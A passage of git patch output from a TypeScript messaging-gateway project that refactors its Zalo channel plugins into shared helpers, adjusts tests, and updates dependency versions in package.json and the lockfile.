/^\d{3,}$/.test(trimmed); - }, + looksLikeId: isNumericTargetId, hint: "", }, }, @@ -303,51 +302,21 @@ export const zaloPlugin: ChannelPlugin = { chunker: chunkTextForOutbound, chunkerMode: "text", textChunkLimit: 2000, - sendPayload: async (ctx) => { - const text = ctx.payload.text ?? ""; - const urls = ctx.payload.mediaUrls?.length - ? ctx.payload.mediaUrls - : ctx.payload.mediaUrl - ? [ctx.payload.mediaUrl] - : []; - if (!text && urls.length === 0) { - return { channel: "zalo", messageId: "" }; - } - if (urls.length > 0) { - let lastResult = await zaloPlugin.outbound!.sendMedia!({ - ...ctx, - text, - mediaUrl: urls[0], - }); - for (let i = 1; i < urls.length; i++) { - lastResult = await zaloPlugin.outbound!.sendMedia!({ - ...ctx, - text: "", - mediaUrl: urls[i], - }); - } - return lastResult; - } - const outbound = zaloPlugin.outbound!; - const limit = outbound.textChunkLimit; - const chunks = limit && outbound.chunker ? outbound.chunker(text, limit) : [text]; - let lastResult: Awaited>>; - for (const chunk of chunks) { - lastResult = await outbound.sendText!({ ...ctx, text: chunk }); - } - return lastResult!; - }, + sendPayload: async (ctx) => + await sendPayloadWithChunkedTextAndMedia({ + ctx, + textChunkLimit: zaloPlugin.outbound!.textChunkLimit, + chunker: zaloPlugin.outbound!.chunker, + sendText: (nextCtx) => zaloPlugin.outbound!.sendText!(nextCtx), + sendMedia: (nextCtx) => zaloPlugin.outbound!.sendMedia!(nextCtx), + emptyResult: { channel: "zalo", messageId: "" }, + }), sendText: async ({ to, text, accountId, cfg }) => { const result = await sendMessageZalo(to, text, { accountId: accountId ?? undefined, cfg: cfg, }); - return { - channel: "zalo", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalo", result); }, sendMedia: async ({ to, text, mediaUrl, accountId, cfg }) => { const result = await sendMessageZalo(to, text, { @@ -355,12 +324,7 @@ export const zaloPlugin: ChannelPlugin = { mediaUrl, cfg: cfg, }); - return { - channel: "zalo", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalo", result); }, }, status: { @@ -377,19 +341,19 @@ export const zaloPlugin: ChannelPlugin = { probeZalo(account.token, timeoutMs, resolveZaloProxyFetch(account.config.proxy)), buildAccountSnapshot: ({ account, runtime }) => { const configured = Boolean(account.token?.trim()); + const base = buildBaseAccountStatusSnapshot({ + account: { + accountId: account.accountId, + name: account.name, + enabled: account.enabled, + configured, + }, + runtime, + }); return { - accountId: account.accountId, - name: account.name, - enabled: account.enabled, - configured, + ...base, tokenSource: account.tokenSource, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, mode: account.config.webhookUrl ? "webhook" : "polling", - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, dmPolicy: account.config.dmPolicy ?? "pairing", }; }, diff --git a/extensions/zalo/src/monitor.webhook.test.ts b/extensions/zalo/src/monitor.webhook.test.ts index 8cdecd0560c..6ae1a954255 100644 --- a/extensions/zalo/src/monitor.webhook.test.ts +++ b/extensions/zalo/src/monitor.webhook.test.ts @@ -94,6 +94,33 @@ function createPairingAuthCore(params?: { storeAllowFrom?: string[]; pairingCrea return { core, readAllowFromStore, upsertPairingRequest }; } +async function postUntilRateLimited(params: { + baseUrl: string; + path: string; + secret: string; + withNonceQuery?: boolean; + attempts?: number; +}): Promise { + const attempts = params.attempts ?? 130; + for (let i = 0; i < attempts; i += 1) { + const url = params.withNonceQuery + ? `${params.baseUrl}${params.path}?nonce=${i}` + : `${params.baseUrl}${params.path}`; + const response = await fetch(url, { + method: "POST", + headers: { + "x-bot-api-secret-token": params.secret, + "content-type": "application/json", + }, + body: "{}", + }); + if (response.status === 429) { + return true; + } + } + return false; +} + describe("handleZaloWebhookRequest", () => { afterEach(() => { clearZaloWebhookSecurityStateForTest(); @@ -239,21 +266,11 @@ describe("handleZaloWebhookRequest", () => { try { await withServer(webhookRequestHandler, async (baseUrl) => { - let saw429 = false; - for (let i = 0; i < 130; i += 1) { - const response = await fetch(`${baseUrl}/hook-rate`, { - method: "POST", - headers: { - "x-bot-api-secret-token": "secret", - "content-type": "application/json", - }, - body: "{}", - }); - if (response.status === 429) { - saw429 = true; - break; - } - } + const saw429 = await postUntilRateLimited({ + baseUrl, + path: "/hook-rate", + secret: "secret", + }); expect(saw429).toBe(true); }); @@ -290,21 +307,12 @@ describe("handleZaloWebhookRequest", () => { try { await withServer(webhookRequestHandler, async (baseUrl) => { - let saw429 = false; - for (let i = 0; i < 130; i += 1) { - const response = await fetch(`${baseUrl}/hook-query-rate?nonce=${i}`, { - method: "POST", - headers: { - "x-bot-api-secret-token": "secret", - "content-type": "application/json", - }, - body: "{}", - }); - if (response.status === 429) { - saw429 = true; - break; - } - } + const saw429 = await postUntilRateLimited({ + baseUrl, + path: "/hook-query-rate", + secret: "secret", + withNonceQuery: true, + }); expect(saw429).toBe(true); expect(getZaloWebhookRateLimitStateSizeForTest()).toBe(1); diff --git a/extensions/zalo/src/send.ts b/extensions/zalo/src/send.ts index c58142f8633..44f1549067a 100644 --- a/extensions/zalo/src/send.ts +++ b/extensions/zalo/src/send.ts @@ -40,37 +40,47 @@ function resolveSendContext(options: ZaloSendOptions): { return { token, fetcher: resolveZaloProxyFetch(proxy) }; } +function resolveValidatedSendContext( + chatId: string, + options: ZaloSendOptions, +): { ok: true; chatId: string; token: string; fetcher?: ZaloFetch } | { ok: false; error: string } { + const { token, fetcher } = resolveSendContext(options); + if (!token) { + return { ok: false, error: "No Zalo bot token configured" }; + } + const trimmedChatId = chatId?.trim(); + if (!trimmedChatId) { + return { ok: false, error: "No chat_id provided" }; + } + return { ok: true, chatId: trimmedChatId, token, fetcher }; +} + export async function sendMessageZalo( chatId: string, text: string, options: ZaloSendOptions = {}, ): Promise { - const { token, fetcher } = resolveSendContext(options); - - if (!token) { - return { ok: false, error: "No Zalo bot token configured" }; - } - - if (!chatId?.trim()) { - return { ok: false, error: "No chat_id provided" }; + const context = resolveValidatedSendContext(chatId, options); + if (!context.ok) { + return { ok: false, error: context.error }; } if (options.mediaUrl) { - return sendPhotoZalo(chatId, options.mediaUrl, { + return sendPhotoZalo(context.chatId, options.mediaUrl, { ...options, - token, + token: context.token, caption: text || options.caption, }); } try { const response = await sendMessage( - token, + context.token, { - chat_id: chatId.trim(), + chat_id: context.chatId, text: text.slice(0, 2000), }, - fetcher, + context.fetcher, ); if (response.ok && response.result) { @@ -88,14 +98,9 @@ export async function sendPhotoZalo( photoUrl: string, options: ZaloSendOptions = {}, ): Promise { - const { token, fetcher } = resolveSendContext(options); - - if (!token) { - return { ok: false, error: "No Zalo bot token configured" }; - } - - if (!chatId?.trim()) { - return { ok: false, error: "No chat_id provided" }; + const context = resolveValidatedSendContext(chatId, options); + if (!context.ok) { + return { ok: false, error: context.error }; } if (!photoUrl?.trim()) { @@ -104,13 +109,13 @@ export async function sendPhotoZalo( try { const response = await sendPhoto( - token, + context.token, { - chat_id: chatId.trim(), + chat_id: context.chatId, photo: photoUrl.trim(), caption: options.caption?.slice(0, 2000), }, - fetcher, + context.fetcher, ); if (response.ok && response.result) { diff --git a/extensions/zalo/src/token.ts b/extensions/zalo/src/token.ts index 2d9496fa5c2..00ed1d720f7 100644 --- a/extensions/zalo/src/token.ts +++ b/extensions/zalo/src/token.ts @@ -8,6 +8,19 @@ export type ZaloTokenResolution = BaseTokenResolution & { source: "env" | "config" | "configFile" | "none"; }; +function readTokenFromFile(tokenFile: string | undefined): string { + const trimmedPath = tokenFile?.trim(); + if (!trimmedPath) { + return ""; + } + try { + return readFileSync(trimmedPath, "utf8").trim(); + } catch { + // ignore read failures + return ""; + } +} + export function resolveZaloToken( config: ZaloConfig | undefined, accountId?: string | null, @@ -44,28 +57,16 @@ export function resolveZaloToken( if (token) { return { token, source: "config" }; } - const tokenFile = accountConfig.tokenFile?.trim(); - if (tokenFile) { - try { - const fileToken = readFileSync(tokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures - } + const fileToken = readTokenFromFile(accountConfig.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } - const accountTokenFile = accountConfig?.tokenFile?.trim(); - if (!accountHasBotToken && accountTokenFile) { - try { - const fileToken = readFileSync(accountTokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures + if (!accountHasBotToken) { + const fileToken = readTokenFromFile(accountConfig?.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } @@ -79,16 +80,9 @@ export function resolveZaloToken( if (token) { return { token, source: "config" }; } - const tokenFile = baseConfig?.tokenFile?.trim(); - if (tokenFile) { - try { - const fileToken = readFileSync(tokenFile, "utf8").trim(); - if (fileToken) { - return { token: fileToken, source: "configFile" }; - } - } catch { - // ignore read failures - } + const fileToken = readTokenFromFile(baseConfig?.tokenFile); + if (fileToken) { + return { token: fileToken, source: "configFile" }; } } diff --git a/extensions/zalouser/src/channel.ts b/extensions/zalouser/src/channel.ts index 2c2228b05b9..41327f1fe7e 100644 --- a/extensions/zalouser/src/channel.ts +++ b/extensions/zalouser/src/channel.ts @@ -1,5 +1,3 @@ -import fsp from "node:fs/promises"; -import path from "node:path"; import type { ChannelAccountSnapshot, ChannelDirectoryEntry, @@ -12,16 +10,19 @@ import type { } from "openclaw/plugin-sdk/zalouser"; import { applyAccountNameToChannelSection, + buildChannelSendResult, + buildBaseAccountStatusSnapshot, buildChannelConfigSchema, DEFAULT_ACCOUNT_ID, chunkTextForOutbound, deleteAccountFromConfigSection, formatAllowFromLowercase, formatPairingApproveHint, + isNumericTargetId, migrateBaseNameToDefaultAccount, normalizeAccountId, - resolvePreferredOpenClawTmpDir, resolveChannelAccountConfigBasePath, + sendPayloadWithChunkedTextAndMedia, setAccountEnabledInConfigSection, } from "openclaw/plugin-sdk/zalouser"; import { @@ -37,6 +38,7 @@ import { buildZalouserGroupCandidates, findZalouserGroupEntry } from "./group-po import { resolveZalouserReactionMessageIds } from "./message-sid.js"; import { zalouserOnboardingAdapter } from "./onboarding.js"; import { probeZalouser } from "./probe.js"; +import { writeQrDataUrlToTempFile } from "./qr-temp-file.js"; import { sendMessageZalouser, sendReactionZalouser } from "./send.js"; import { collectZalouserStatusIssues } from "./status-issues.js"; import { @@ -69,25 +71,6 @@ function resolveZalouserQrProfile(accountId?: string | null): string { return normalized; } -async function writeQrDataUrlToTempFile( - qrDataUrl: string, - profile: string, -): Promise { - const trimmed = qrDataUrl.trim(); - const match = trimmed.match(/^data:image\/png;base64,(.+)$/i); - const base64 = (match?.[1] ?? "").trim(); - if (!base64) { - return null; - } - const safeProfile = profile.replace(/[^a-zA-Z0-9_-]+/g, "-") || "default"; - const filePath = path.join( - resolvePreferredOpenClawTmpDir(), - `openclaw-zalouser-qr-${safeProfile}.png`, - ); - await fsp.writeFile(filePath, Buffer.from(base64, "base64")); - return filePath; -} - function mapUser(params: { id: string; name?: string | null; @@ -116,39 +99,30 @@ function mapGroup(params: { }; } +function resolveZalouserGroupPolicyEntry(params: ChannelGroupContext) { + const account = resolveZalouserAccountSync({ + cfg: params.cfg, + accountId: params.accountId ?? undefined, + }); + const groups = account.config.groups ?? {}; + return findZalouserGroupEntry( + groups, + buildZalouserGroupCandidates({ + groupId: params.groupId, + groupChannel: params.groupChannel, + includeWildcard: true, + }), + ); +} + function resolveZalouserGroupToolPolicy( params: ChannelGroupContext, ): GroupToolPolicyConfig | undefined { - const account = resolveZalouserAccountSync({ - cfg: params.cfg, - accountId: params.accountId ?? undefined, - }); - const groups = account.config.groups ?? {}; - const entry = findZalouserGroupEntry( - groups, - buildZalouserGroupCandidates({ - groupId: params.groupId, - groupChannel: params.groupChannel, - includeWildcard: true, - }), - ); - return entry?.tools; + return resolveZalouserGroupPolicyEntry(params)?.tools; } function resolveZalouserRequireMention(params: ChannelGroupContext): boolean { - const account = resolveZalouserAccountSync({ - cfg: params.cfg, - accountId: params.accountId ?? undefined, - }); - const groups = account.config.groups ?? {}; - const entry = findZalouserGroupEntry( - groups, - buildZalouserGroupCandidates({ - groupId: params.groupId, - groupChannel: params.groupChannel, - includeWildcard: true, - }), - ); + const entry = resolveZalouserGroupPolicyEntry(params); if (typeof entry?.requireMention === "boolean") { return entry.requireMention; } @@ -395,13 +369,7 @@ export const zalouserPlugin: ChannelPlugin = { return trimmed.replace(/^(zalouser|zlu):/i, ""); }, targetResolver: { - looksLikeId: (raw) => { - const trimmed = raw.trim(); - if (!trimmed) { - return false; - } - return /^\d{3,}$/.test(trimmed); - }, + looksLikeId: isNumericTargetId, hint: "", }, }, @@ -560,49 +528,19 @@ export const zalouserPlugin: ChannelPlugin = { chunker: chunkTextForOutbound, chunkerMode: "text", textChunkLimit: 2000, - sendPayload: async (ctx) => { - const text = ctx.payload.text ?? ""; - const urls = ctx.payload.mediaUrls?.length - ? ctx.payload.mediaUrls - : ctx.payload.mediaUrl - ? [ctx.payload.mediaUrl] - : []; - if (!text && urls.length === 0) { - return { channel: "zalouser", messageId: "" }; - } - if (urls.length > 0) { - let lastResult = await zalouserPlugin.outbound!.sendMedia!({ - ...ctx, - text, - mediaUrl: urls[0], - }); - for (let i = 1; i < urls.length; i++) { - lastResult = await zalouserPlugin.outbound!.sendMedia!({ - ...ctx, - text: "", - mediaUrl: urls[i], - }); - } - return lastResult; - } - const outbound = zalouserPlugin.outbound!; - const limit = outbound.textChunkLimit; - const chunks = limit && outbound.chunker ? outbound.chunker(text, limit) : [text]; - let lastResult: Awaited>>; - for (const chunk of chunks) { - lastResult = await outbound.sendText!({ ...ctx, text: chunk }); - } - return lastResult!; - }, + sendPayload: async (ctx) => + await sendPayloadWithChunkedTextAndMedia({ + ctx, + textChunkLimit: zalouserPlugin.outbound!.textChunkLimit, + chunker: zalouserPlugin.outbound!.chunker, + sendText: (nextCtx) => zalouserPlugin.outbound!.sendText!(nextCtx), + sendMedia: (nextCtx) => zalouserPlugin.outbound!.sendMedia!(nextCtx), + emptyResult: { channel: "zalouser", messageId: "" }, + }), sendText: async ({ to, text, accountId, cfg }) => { const account = resolveZalouserAccountSync({ cfg: cfg, accountId }); const result = await sendMessageZalouser(to, text, { profile: account.profile }); - return { - channel: "zalouser", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalouser", result); }, sendMedia: async ({ to, text, mediaUrl, accountId, cfg, mediaLocalRoots }) => { const account = resolveZalouserAccountSync({ cfg: cfg, accountId }); @@ -611,12 +549,7 @@ export const zalouserPlugin: ChannelPlugin = { mediaUrl, mediaLocalRoots, }); - return { - channel: "zalouser", - ok: result.ok, - messageId: result.messageId ?? "", - error: result.error ? new Error(result.error) : undefined, - }; + return buildChannelSendResult("zalouser", result); }, }, status: { @@ -641,17 +574,19 @@ export const zalouserPlugin: ChannelPlugin = { buildAccountSnapshot: async ({ account, runtime }) => { const configured = await checkZcaAuthenticated(account.profile); const configError = "not authenticated"; + const base = buildBaseAccountStatusSnapshot({ + account: { + accountId: account.accountId, + name: account.name, + enabled: account.enabled, + configured, + }, + runtime: configured + ? runtime + : { ...runtime, lastError: runtime?.lastError ?? configError }, + }); return { - accountId: account.accountId, - name: account.name, - enabled: account.enabled, - configured, - running: runtime?.running ?? false, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: configured ? (runtime?.lastError ?? null) : (runtime?.lastError ?? configError), - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + ...base, dmPolicy: account.config.dmPolicy ?? "pairing", }; }, diff --git a/extensions/zalouser/src/monitor.account-scope.test.ts b/extensions/zalouser/src/monitor.account-scope.test.ts index 931a6cde6eb..e1e1a348a95 100644 --- a/extensions/zalouser/src/monitor.account-scope.test.ts +++ b/extensions/zalouser/src/monitor.account-scope.test.ts @@ -1,21 +1,10 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { describe, expect, it, vi } from "vitest"; import { __testing } from "./monitor.js"; +import { sendMessageZalouserMock } from "./monitor.send-mocks.js"; import { setZalouserRuntime } from "./runtime.js"; import type { ResolvedZalouserAccount, ZaloInboundMessage } from "./types.js"; -const sendMessageZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendTypingZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendDeliveredZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendSeenZalouserMock = vi.hoisted(() => vi.fn(async () => {})); - -vi.mock("./send.js", () => ({ - sendMessageZalouser: sendMessageZalouserMock, - sendTypingZalouser: sendTypingZalouserMock, - sendDeliveredZalouser: sendDeliveredZalouserMock, - sendSeenZalouser: sendSeenZalouserMock, -})); - describe("zalouser monitor pairing account scoping", () => { it("scopes DM pairing-store reads and pairing requests to accountId", async () => { const readAllowFromStore = vi.fn( diff --git a/extensions/zalouser/src/monitor.group-gating.test.ts b/extensions/zalouser/src/monitor.group-gating.test.ts index dda0ed0a3de..6af8d5ae115 100644 --- a/extensions/zalouser/src/monitor.group-gating.test.ts +++ b/extensions/zalouser/src/monitor.group-gating.test.ts @@ -1,21 +1,15 @@ import type { OpenClawConfig, PluginRuntime, RuntimeEnv } from "openclaw/plugin-sdk/zalouser"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { __testing } from "./monitor.js"; +import { + sendDeliveredZalouserMock, + sendMessageZalouserMock, + sendSeenZalouserMock, + sendTypingZalouserMock, +} from "./monitor.send-mocks.js"; import { setZalouserRuntime } from "./runtime.js"; import type { ResolvedZalouserAccount, ZaloInboundMessage } from "./types.js"; -const sendMessageZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendTypingZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendDeliveredZalouserMock = vi.hoisted(() => vi.fn(async () => {})); -const sendSeenZalouserMock = vi.hoisted(() => vi.fn(async () => {})); - -vi.mock("./send.js", () => ({ - sendMessageZalouser: sendMessageZalouserMock, - sendTypingZalouser: sendTypingZalouserMock, - sendDeliveredZalouser: sendDeliveredZalouserMock, - sendSeenZalouser: sendSeenZalouserMock, -})); - function createAccount(): ResolvedZalouserAccount { return { accountId: "default", diff --git a/extensions/zalouser/src/monitor.send-mocks.ts b/extensions/zalouser/src/monitor.send-mocks.ts new file mode 100644 index 00000000000..9e576f5e830 --- /dev/null +++ b/extensions/zalouser/src/monitor.send-mocks.ts @@ -0,0 +1,20 @@ +import { vi } from "vitest"; + +const sendMocks = vi.hoisted(() => ({ + sendMessageZalouserMock: vi.fn(async () => {}), + sendTypingZalouserMock: vi.fn(async () => {}), + sendDeliveredZalouserMock: vi.fn(async () => {}), + sendSeenZalouserMock: vi.fn(async () => {}), +})); + +export const sendMessageZalouserMock = sendMocks.sendMessageZalouserMock; +export const sendTypingZalouserMock = sendMocks.sendTypingZalouserMock; +export const sendDeliveredZalouserMock = sendMocks.sendDeliveredZalouserMock; +export const sendSeenZalouserMock = sendMocks.sendSeenZalouserMock; + +vi.mock("./send.js", () => ({ + sendMessageZalouser: sendMessageZalouserMock, + sendTypingZalouser: sendTypingZalouserMock, + sendDeliveredZalouser: sendDeliveredZalouserMock, + sendSeenZalouser: sendSeenZalouserMock, +})); diff --git a/extensions/zalouser/src/qr-temp-file.ts b/extensions/zalouser/src/qr-temp-file.ts new file mode 100644 index 00000000000..07babfcc731 --- /dev/null +++ b/extensions/zalouser/src/qr-temp-file.ts @@ -0,0 +1,22 @@ +import fsp from "node:fs/promises"; +import path from "node:path"; +import { resolvePreferredOpenClawTmpDir } from "openclaw/plugin-sdk/zalouser"; + +export async function writeQrDataUrlToTempFile( + qrDataUrl: string, + profile: string, +): Promise { + const trimmed = qrDataUrl.trim(); + const match = trimmed.match(/^data:image\/png;base64,(.+)$/i); + const base64 = (match?.[1] ?? "").trim(); + if (!base64) { + return null; + } + const safeProfile = profile.replace(/[^a-zA-Z0-9_-]+/g, "-") || "default"; + const filePath = path.join( + resolvePreferredOpenClawTmpDir(), + `openclaw-zalouser-qr-${safeProfile}.png`, + ); + await fsp.writeFile(filePath, Buffer.from(base64, "base64")); + return filePath; +} diff --git a/extensions/zalouser/src/zca-client.ts b/extensions/zalouser/src/zca-client.ts index 94e291b710f..605b07522d6 100644 --- a/extensions/zalouser/src/zca-client.ts +++ b/extensions/zalouser/src/zca-client.ts @@ -126,6 +126,20 @@ export type Listener = { stop(): void; }; +type DeliveryEventMessage = { + msgId: string; + cliMsgId: string; + uidFrom: string; + idTo: string; + msgType: string; + st: number; + at: number; + cmd: number; + ts: string | number; +}; + +type DeliveryEventMessages = DeliveryEventMessage | DeliveryEventMessage[]; + export type API = { listener: Listener; getContext(): { @@ -185,57 +199,10 @@ export type API = { ): Promise; sendDeliveredEvent( isSeen: boolean, - messages: - | { - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - } - | Array<{ - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - }>, - type?: number, - ): Promise; - sendSeenEvent( - messages: - | { - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - } - | Array<{ - msgId: string; - cliMsgId: string; - uidFrom: string; - idTo: string; - msgType: string; - st: number; - at: number; - cmd: number; - ts: string | number; - }>, + messages: DeliveryEventMessages, type?: number, ): Promise; + sendSeenEvent(messages: DeliveryEventMessages, type?: number): Promise; }; type ZaloCtor = new (options?: { logging?: boolean; selfListen?: boolean }) => { From b85005194e506065de3c2c5f9736300e750aef18 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:49:03 +0000 Subject: [PATCH 109/844] test(memory): make mcporter EINVAL retry test deterministic --- src/memory/qmd-manager.test.ts | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/src/memory/qmd-manager.test.ts b/src/memory/qmd-manager.test.ts index 603880bbfdb..07dd944f889 100644 --- a/src/memory/qmd-manager.test.ts +++ b/src/memory/qmd-manager.test.ts @@ -1641,7 +1641,11 @@ describe("QmdMemoryManager", () => { } as OpenClawConfig; let sawRetry = false; + let firstCallCommand: string | null = null; spawnMock.mockImplementation((cmd: string, args: string[]) => { + if (args[0] === "call" && firstCallCommand === null) { + firstCallCommand = cmd; + } if (args[0] === "call" && typeof cmd === "string" && cmd.toLowerCase().endsWith(".cmd")) { const child = createMockChild({ autoClose: false }); queueMicrotask(() => { @@ -1665,10 +1669,16 @@ describe("QmdMemoryManager", () => { await expect( manager.search("hello", { sessionKey: "agent:main:slack:dm:u123" }), ).resolves.toEqual([]); - expect(sawRetry).toBe(true); - expect(logWarnMock).toHaveBeenCalledWith( - expect.stringContaining("retrying with bare mcporter"), - ); + const attemptedCmdShim = (firstCallCommand ?? "").toLowerCase().endsWith(".cmd"); + if (attemptedCmdShim) { + expect(sawRetry).toBe(true); + expect(logWarnMock).toHaveBeenCalledWith( + expect.stringContaining("retrying with bare mcporter"), + ); + } else { + // When wrapper resolution upgrades to a direct node/exe entrypoint, cmd-shim retry is unnecessary. + expect(sawRetry).toBe(false); + } await manager.close(); } finally { platformSpy.mockRestore(); From 8db5d67768e44d264d946b231cc2b7a77f4239f3 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:54:18 +0000 Subject: [PATCH 110/844] chore: update dependencies except carbon --- extensions/diagnostics-otel/package.json | 18 +- extensions/memory-lancedb/package.json | 2 +- extensions/tlon/package.json | 4 +- package.json | 22 +- pnpm-lock.yaml | 2197 ++++++++++++----- .../daemon-cli/install.integration.test.ts | 9 +- src/memory/qmd-manager.test.ts | 6 + ui/package.json | 2 +- 8 files changed, 1557 insertions(+), 703 deletions(-) diff --git a/extensions/diagnostics-otel/package.json b/extensions/diagnostics-otel/package.json index cdd5a6f4c97..c03df3af8e4 100644 --- a/extensions/diagnostics-otel/package.json +++ b/extensions/diagnostics-otel/package.json @@ -5,15 +5,15 @@ "type": "module", "dependencies": { "@opentelemetry/api": "^1.9.0", - "@opentelemetry/api-logs": "^0.212.0", - "@opentelemetry/exporter-logs-otlp-proto": "^0.212.0", - "@opentelemetry/exporter-metrics-otlp-proto": "^0.212.0", - "@opentelemetry/exporter-trace-otlp-proto": "^0.212.0", - "@opentelemetry/resources": "^2.5.1", - "@opentelemetry/sdk-logs": "^0.212.0", - "@opentelemetry/sdk-metrics": "^2.5.1", - "@opentelemetry/sdk-node": "^0.212.0", - "@opentelemetry/sdk-trace-base": "^2.5.1", + "@opentelemetry/api-logs": "^0.213.0", + "@opentelemetry/exporter-logs-otlp-proto": "^0.213.0", + "@opentelemetry/exporter-metrics-otlp-proto": "^0.213.0", + "@opentelemetry/exporter-trace-otlp-proto": "^0.213.0", + "@opentelemetry/resources": "^2.6.0", + "@opentelemetry/sdk-logs": "^0.213.0", + "@opentelemetry/sdk-metrics": "^2.6.0", + "@opentelemetry/sdk-node": "^0.213.0", + "@opentelemetry/sdk-trace-base": "^2.6.0", "@opentelemetry/semantic-conventions": "^1.40.0" }, "openclaw": { diff --git a/extensions/memory-lancedb/package.json b/extensions/memory-lancedb/package.json index e0568e94371..9663560a60a 100644 --- a/extensions/memory-lancedb/package.json +++ b/extensions/memory-lancedb/package.json @@ -7,7 +7,7 @@ "dependencies": { "@lancedb/lancedb": "^0.26.2", "@sinclair/typebox": "0.34.48", - "openai": "^6.25.0" + "openai": "^6.27.0" }, "openclaw": { "extensions": [ diff --git a/extensions/tlon/package.json b/extensions/tlon/package.json index 6817ef7d9dc..7aa2336b285 100644 --- a/extensions/tlon/package.json +++ b/extensions/tlon/package.json @@ -4,8 +4,8 @@ "description": "OpenClaw Tlon/Urbit channel plugin", "type": "module", "dependencies": { - "@tloncorp/api": "git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87", - "@tloncorp/tlon-skill": "0.1.9", + "@tloncorp/api": "github:tloncorp/api-beta#7eede1c1a756977b09f96aa14a92e2b06318ae87", + "@tloncorp/tlon-skill": "0.2.2", "@urbit/aura": "^3.0.0", "zod": "^4.3.6" }, diff --git a/package.json b/package.json index a61fbb92d92..287456d97be 100644 --- a/package.json +++ b/package.json @@ -332,10 +332,10 @@ "ui:install": "node scripts/ui.js install" }, "dependencies": { - "@agentclientprotocol/sdk": "0.14.1", - "@aws-sdk/client-bedrock": "^3.1000.0", + "@agentclientprotocol/sdk": "0.15.0", + "@aws-sdk/client-bedrock": "^3.1004.0", "@buape/carbon": "0.0.0-beta-20260216184201", - "@clack/prompts": "^1.0.1", + "@clack/prompts": "^1.1.0", "@discordjs/voice": "^0.19.0", "@grammyjs/runner": "^2.0.3", "@grammyjs/transformer-throttler": "^1.2.1", @@ -357,11 +357,11 @@ "cli-highlight": "^2.1.11", "commander": "^14.0.3", "croner": "^10.0.1", - "discord-api-types": "^0.38.40", + "discord-api-types": "^0.38.41", "dotenv": "^17.3.1", "express": "^5.2.1", "file-type": "^21.3.0", - "grammy": "^1.41.0", + "grammy": "^1.41.1", "https-proxy-agent": "^7.0.6", "ipaddr.js": "^2.3.0", "jiti": "^2.6.1", @@ -390,18 +390,18 @@ "@lit/context": "^1.1.6", "@types/express": "^5.0.6", "@types/markdown-it": "^14.1.2", - "@types/node": "^25.3.3", + "@types/node": "^25.3.5", "@types/qrcode-terminal": "^0.12.2", "@types/ws": "^8.18.1", - "@typescript/native-preview": "7.0.0-dev.20260301.1", + "@typescript/native-preview": "7.0.0-dev.20260307.1", "@vitest/coverage-v8": "^4.0.18", "jscpd": "4.0.8", "lit": "^3.3.2", - "oxfmt": "0.35.0", - "oxlint": "^1.50.0", - "oxlint-tsgolint": "^0.15.0", + "oxfmt": "0.36.0", + "oxlint": "^1.51.0", + "oxlint-tsgolint": "^0.16.0", "signal-utils": "0.21.1", - "tsdown": "0.21.0-beta.2", + "tsdown": "0.21.0", "tsx": "^4.21.0", "typescript": "^5.9.3", "vitest": "^4.0.18" diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9094d0caeea..0dee1e3ba6f 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -23,26 +23,26 @@ importers: .: dependencies: '@agentclientprotocol/sdk': - specifier: 0.14.1 - version: 0.14.1(zod@4.3.6) + specifier: 0.15.0 + version: 0.15.0(zod@4.3.6) '@aws-sdk/client-bedrock': - specifier: ^3.1000.0 - version: 3.1000.0 + specifier: ^3.1004.0 + version: 3.1004.0 '@buape/carbon': specifier: 0.0.0-beta-20260216184201 version: 0.0.0-beta-20260216184201(@discordjs/opus@0.10.0)(hono@4.12.5)(opusscript@0.1.1) '@clack/prompts': - specifier: ^1.0.1 - version: 1.0.1 + specifier: ^1.1.0 + version: 1.1.0 '@discordjs/voice': specifier: ^0.19.0 version: 0.19.0(@discordjs/opus@0.10.0)(opusscript@0.1.1) '@grammyjs/runner': specifier: ^2.0.3 - version: 2.0.3(grammy@1.41.0) + version: 2.0.3(grammy@1.41.1) '@grammyjs/transformer-throttler': specifier: ^1.2.1 - version: 1.2.1(grammy@1.41.0) + version: 1.2.1(grammy@1.41.1) '@homebridge/ciao': specifier: ^1.3.5 version: 1.3.5 @@ -101,8 +101,8 @@ importers: specifier: ^10.0.1 version: 10.0.1 discord-api-types: - specifier: ^0.38.40 - version: 0.38.40 + specifier: 